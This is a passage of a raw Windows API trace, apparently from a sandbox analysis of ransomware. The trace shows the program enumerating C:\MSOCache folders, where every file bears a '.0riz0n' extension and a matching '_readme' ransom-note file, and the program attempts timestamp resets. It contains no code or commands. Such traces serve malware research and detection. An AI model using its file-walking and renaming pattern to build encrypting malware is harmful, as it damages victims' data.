lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43b71810, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x43b71810, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.773] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.773] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.773] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab.0riz0n", cAlternateFileName="")) returned 1 [0140.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.773] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.773] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43e6b390, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x43e6b390, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.773] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.773] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.773] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n", cAlternateFileName="")) returned 1 [0140.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.773] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.774] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43e914f0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x43e914f0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.774] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.774] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.774] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.774] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.774] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43e914f0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x43e914f0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0140.774] GetLastError () returned 0x12 [0140.774] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829bb8 [0140.774] FindClose (in: hFindFile=0x829b78 | out: hFindFile=0x829b78) returned 1 [0140.774] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x43e914f0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x43e914f0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.774] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi.0riz0n", cAlternateFileName="")) returned 1 [0140.774] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43b4b6b0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x43b4b6b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.774] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml.0riz0n", cAlternateFileName="")) returned 1 [0140.774] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43b71810, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x43b71810, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.774] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab.0riz0n", cAlternateFileName="")) returned 1 [0140.774] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43e6b390, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x43e6b390, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.774] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n", cAlternateFileName="")) returned 1 [0140.774] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43e914f0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x43e914f0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.774] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43e914f0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x43e914f0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0140.774] GetLastError () returned 0x12 [0140.774] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x983ae8) returned 1 [0140.774] FindClose (in: hFindFile=0x829bb8 | out: hFindFile=0x829bb8) returned 1 [0140.775] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.775] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9839e0) returned 1 [0140.775] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x45dcf5b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x45dcf5b0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0140.775] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.775] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1a7f348 | out: lpFileInformation=0x1a7f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x45dcf5b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x45dcf5b0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0140.776] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0140.776] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0140.776] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0140.776] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0140.777] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0140.777] NtClose (Handle=0x19c) returned 0x0 [0140.777] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.777] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.777] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.777] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9839e0 [0140.777] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.777] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x983ae8 [0140.777] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829bb8 [0141.025] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x45dcf5b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x45dcf5b0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.025] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab.0riz0n", cAlternateFileName="")) returned 1 [0141.025] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.026] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.026] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45423c50, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x45423c50, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44e, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0141.026] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.026] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.026] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.026] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.026] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi.0riz0n", cAlternateFileName="")) returned 1 [0141.026] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.026] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.026] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45d5d190, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x45d5d190, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0141.026] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.026] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.026] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.026] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.026] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml.0riz0n", cAlternateFileName="")) returned 1 [0141.026] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.026] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.026] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45da9450, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x45da9450, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x442, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0141.026] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.026] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.026] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.026] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.026] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n", cAlternateFileName="")) returned 1 [0141.026] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.026] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.026] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45dcf5b0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x45dcf5b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0141.026] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.026] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.026] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0141.026] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0141.026] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45dcf5b0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x45dcf5b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0141.026] GetLastError () returned 0x12 [0141.026] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b78 [0141.027] FindClose (in: hFindFile=0x829bb8 | out: hFindFile=0x829bb8) returned 1 [0141.027] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x45dcf5b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x45dcf5b0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.027] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab.0riz0n", cAlternateFileName="")) returned 1 [0141.027] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45423c50, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x45423c50, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44e, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0141.027] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi.0riz0n", cAlternateFileName="")) returned 1 [0141.027] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45d5d190, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x45d5d190, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0141.027] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml.0riz0n", cAlternateFileName="")) returned 1 [0141.027] FindNextFileW (in: 